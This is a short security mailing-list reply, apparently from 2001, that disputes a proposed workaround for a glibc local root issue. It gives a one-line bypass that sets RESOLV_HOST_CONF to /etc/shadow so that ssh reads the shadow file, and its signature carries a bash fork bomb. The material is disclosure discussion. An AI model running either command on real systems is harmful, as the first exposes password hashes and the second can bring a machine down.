Re: Glibc Local Root Exploit

[Michal Zalewski]

On Wed, 10 Jan 2001, Digital Overdrive wrote:

> [Credits to ^herman^ in #hit2000 on ircnet]
> A temp. sollution is to place this in /etc/services:

Erm, you mean /etc/profile?

> declare -r RESOLV_HOST_CONF
>
> jan@flits102-93:~$ export RESOLV_HOST_CONF=/etc/shadow
> bash: RESOLV_HOST_CONF: readonly variable
> jan@flits102-93:~$

Oooh, try that:

$ bash --norc --noprofile -c 'RESOLV_HOST_CONF=/etc/shadow ssh host'

--
_______________________________________________________
Michal Zalewski [[EMAIL PROTECTED]] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=--=> Did you know that clones never use mirrors? <=--=